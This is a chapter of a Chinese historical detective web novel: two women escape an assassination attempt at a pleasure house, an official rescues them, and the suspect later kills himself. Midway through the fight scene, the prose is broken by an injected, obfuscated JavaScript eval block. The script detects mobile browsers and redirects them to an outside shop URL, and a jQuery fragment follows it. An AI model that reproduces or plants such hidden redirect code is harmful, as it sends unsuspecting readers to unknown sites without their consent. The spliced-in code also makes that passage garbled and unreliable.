夜幕降临,大理寺一行人回到了刺史府。
刚刚坐下,留守在刺史府的大理寺差役便请见谢珩。
“回禀大人,王姑娘今日回来,留了张字条又出去了。她托卑职等大人回来,将字条交给大人或者两位侍卫。”
谢珩抬眸,谢诚拿起差役手中的字条,就着烛光展开。
“刘进夫人亦订购生川乌,地址为苏记布行。”
谢珩意识到不对,蹭地起身,来回走了几步,一股不安的预感爬上他的心头。
“王姑娘什么时候走的?可回来了?”
差役拱手回禀:“未时左右离去的,现下未归,走的时候还换了一身男装。”
“刘别驾呢?”谢珩握了握拳,心绪开始翻涌。
“带了一部分人出去,也不在。”
“大人……”谢平察觉不妙。
“她怀疑刘别驾,换了男装,定是去了春宵楼。”谢珩深吸一口气,“如果她猜测无误,那么刘别驾,很可能跟着去灭口了。”
……
华灯初上,春宵楼里歌舞宴饮之声渐起。
王惠慈换上楼中侍女的衣服,戴上面纱,端着盛满美酒的酒器托盘,左拧右躲走在前;拂春则低着头,脸上胡乱涂了些白粉和胭脂,故意浓浓化了几笔眉毛,小心翼翼走在后面。
来到二层里间走廊上,两人找到一间空屋子钻了进去。
“咱们这样能出去吗?”拂春颤抖着将果盘放下,因为过于紧张嗓音都捏得尖细。
“不能。”王惠慈没工夫安慰拂春,推开窗户,发现这里距离地面有相当一段距离,对面的屋檐也离得很远,跳不过去。
“把帷幔扯下来,快!”王惠慈命令拂春,自己也动手将隔间的帘子拽下,一头绑在柱子上,和拂春齐力接成一个长长的绳子,从洞开的窗户垂了下去。
“各屋子去搜,如有拂春和可疑人物都绑起来!”
搜查的声音从门外传来,王惠慈强压住惊惧,和拂春合力将桌子抬到门口堵住。
春宵楼的夜晚灯火通明,最不缺的就是灯油和火烛。王惠慈果断翻出来屋中所有的纸册,又将侍女的外衣脱下,泼上灯油堆在门口,用蜡烛引燃,火舌嗖地蹿出,很快越烧越旺。
“起火了!快来救火啊!”
“着火了,快走快走,逃命啊!”
春宵楼这层突然乱了起来。搜查的人逆着人流,一眼看到冒烟的房间,踹开了大门,在一片火光中,看到了窗户上垂下的布绳。
“快去回禀大人!她们逃出去了,追!”
王惠慈和拂春脱下侍女服,里面身着男装,蹲在窗户外屋檐上,缩在阴影里,听着来人的脚步声渐远。
“走了,从这边进去,快。”
王惠慈猫着腰,通过隔壁房间的窗户缝隙,看到一地狼藉,这屋的人早看到起火跑掉了。
拂春几乎是从窗外爬着进来的,想哭又不敢大声,泪水和这脸上黑黑红红的妆容,形成两道滑稽的泪痕。
“擦擦脸,别哭了,我们从正门出去,晚了就来不及了!”
春宵楼虽只有二楼一侧起火,但客人们却扫了兴致,不愿继续待着。加之刺史府的人在搜查,便陆陆续续起身离开。
顾妈妈大呼冤孽,指挥仆役去二楼收拾烂摊子。
王惠慈和拂春随便扯了两件披风,混在出门的客人里面,成功溜出了大门。
“不要回头,往前走。”
王惠慈拉着拂春,在夜晚的益州城快步穿梭,徐风吹起她的衣角,仿若蝴蝶的翅膀反衬出微弱的光,飞舞着奔向夜空。
“我们现在去哪里?”拂春上气不接下气,不敢停歇。
“刺史府。”王惠慈眼观六路,发现前方似乎有人折回寻找,拽着拂春闪到旁边一家酒楼。
“店家,”王惠慈大方招呼,“带个视野开阔的厢房,再上三道拿手菜。”
“好嘞,里面请。”
王惠慈眼神示意跟上,拂春则被她的灵活应变惊得瞠目结舌,待酒博士关门后,心有余悸地问了一句:
“你有钱吗?”
“没有。”王惠慈也捂了捂心口,缓了一口气,“但是有人有。”
不知道刘别驾带了多少人,他们认识自己也认识拂春,且定会埋伏在回刺史府的路上,与其满城跑不如找个地方隐匿下来。
希望他们现在回到了刺史府,希望他们看到了自己留下的纸条。
但是大理寺会来找她吗?
王惠慈抱着双膝坐在榻上,拢在披风里的手还在微微颤抖。她不确定大理寺会不会意识到自己有危险。就算意识到,会不会又把自己献祭,从而引蛇出洞?
一声微不可查的叹息刚刚落下,王惠慈便听见楼下喧嚷起来:
“刺史府搜查,有没有看到两个可疑的女子?”
王惠慈的心提到了嗓子眼,随后一阵杂乱的脚步声伴随着客人的惊叫从楼梯处传来。
就在王惠慈祈祷能够成功混过去的时候,窗外的路上出现了两队火把,谢珩一马当先,身后跟着谢平众人策马疾驰。
王惠慈当机立断,立刻大开窗户,使出生平洪荒之力冲着远处大喊:
“谢大人救命——我在这里——”
“救命!救命——”拂春看见谢珩,跟着一起大喊。
尖锐的呼救声穿过街道,谢珩勒马四顾,王惠慈几乎探出半个身子,边呼救边挥手。
只是这一喊也暴露了自己的位置,房间的门被大力踹飞,霎那间王惠慈抄起茶盏向来人砸去。搜查之人本能抬起胳膊格挡,忽觉下方蹿出一阵粉尘,直扎眼睛不说,吸入鼻腔后奇痒无比,如同万只蝼蚁啃食自己的头。
先锋两人惨叫着摔在地上,王惠慈见状将解下的披风向前一抛,再次抬起小茶桌,直冲后来人的面门拍了过去,顺势抬腿将其踹出房门。拂春靠墙而立,心中惧意越来越甚,只是人一旦跨过了那条界限,便也彻底释然。看见王惠慈只身一人搏斗,拂春毅然扑出去捡起地上的刀,高高举起胡乱砍去。
谢平带人冲上来时,刺史府的几人嚎的嚎,伤的伤,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699066|208069||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
就连趴在地上试图抓拂春脚的人,都被割去了半条手筋。谢珩更是生平从未见过如此骁勇的女子,一时竟不知该不该安慰她们。
当啷一声,拂春扔掉了手中的刀,跌坐在地上嚎啕大哭。
王惠慈也瘫软下来,拂春哭的她头疼,但自己也没什么力气再阻止她,从怀中摸出一锭包着红绫的银子丢给谢珩,“物证。”
抬手指向拂春:“人证。”
复又翻手划拉过一地的人:“拷问口供,可以搜别驾府了。”
谢珩张了张口,想说的话最终还是咽了回去。解下自己的披风,半蹲着搭到王惠慈的肩头,顺势轻轻拍了拍。
“我让人送你们回去,剩下的交给我们吧。”
王惠慈也不推辞,扶着谢珩的胳膊站起来。大理寺众人控制住这些打手,王惠慈身后传出骨骼扭断的声音,谢平就地拷问:“说!谁派你们来的?”
大理寺分出几个人将王惠慈和拂春送回刺史府,谢诚等在门口,看见王惠慈发髻散落,脸上带伤,着实一惊。
这姑娘先前走投无路之时,都未见如此狼狈。
“姑奶奶,出什么事了?大人呢?”
而且你还穿着大人的衣服……
王惠慈神情疲惫,“我去春宵楼找拂春,没想到刘别驾来灭口,我们逃了出来,正好碰到谢大人。大人他……”
王惠慈突然顿步,脑中灵光一闪,“大人带人去别驾府了,凶手极有可能是刘别驾,大人会不会有危险?而且这刺史府是不是还有刘别驾的人?咱在这里安全吗?”
“你先担心担心自己吧,要不要照照镜子看看自己什么样?”谢诚无奈,转念想到王惠慈还是有良心,大理寺救了她,还知道担心大人的安危。
“你放心吧,这刺史府也不全是刘别驾的人,大人也调了其他人过来,你就别操心了。”谢诚看了看同样凄惨的拂春,“你们两位女子先回郑夫人的院子,休整一下,有事情等大人回来再说。”
王惠慈点点头,带着拂春去了后院。
郑夫人早听说了今晚之事,在二门处等着王惠慈。王惠慈和拂春甫一出现,郑夫人立即迎上来拉住王惠慈的手。
“是刘进?”
王惠慈说是,“八九不离十。本来只是怀疑,并无切实证据。没想到他自己跳了出来,倒是帮了我们大忙。”
郑夫人驻足,郑重向王惠慈行了一大礼,“虽是刘进自作孽,但也多亏姑娘追查,还身陷险境。请王姑娘受冯某一拜。”
王惠慈连忙扶起郑夫人,这是公门中人应尽之责。郑夫人自是感激,将王惠慈和拂春安排妥当,又连夜给郑刺史烧高香,告慰他在天之灵。
王惠慈回到屋中,将自己梳洗一番,顾不得其他,倒头就睡,一路睡到第二天郑夫人将她喊起,说谢诚来了。
本以为谢诚让自己去和大人解释昨夜的事情,没想到谢诚愁眉苦脸地进来,耷拉着眼睛,十分丧气地告诉王惠慈:
“刘别驾昨日引颈自刎了。我们翻遍了他的宅院,没有找到一两私银。”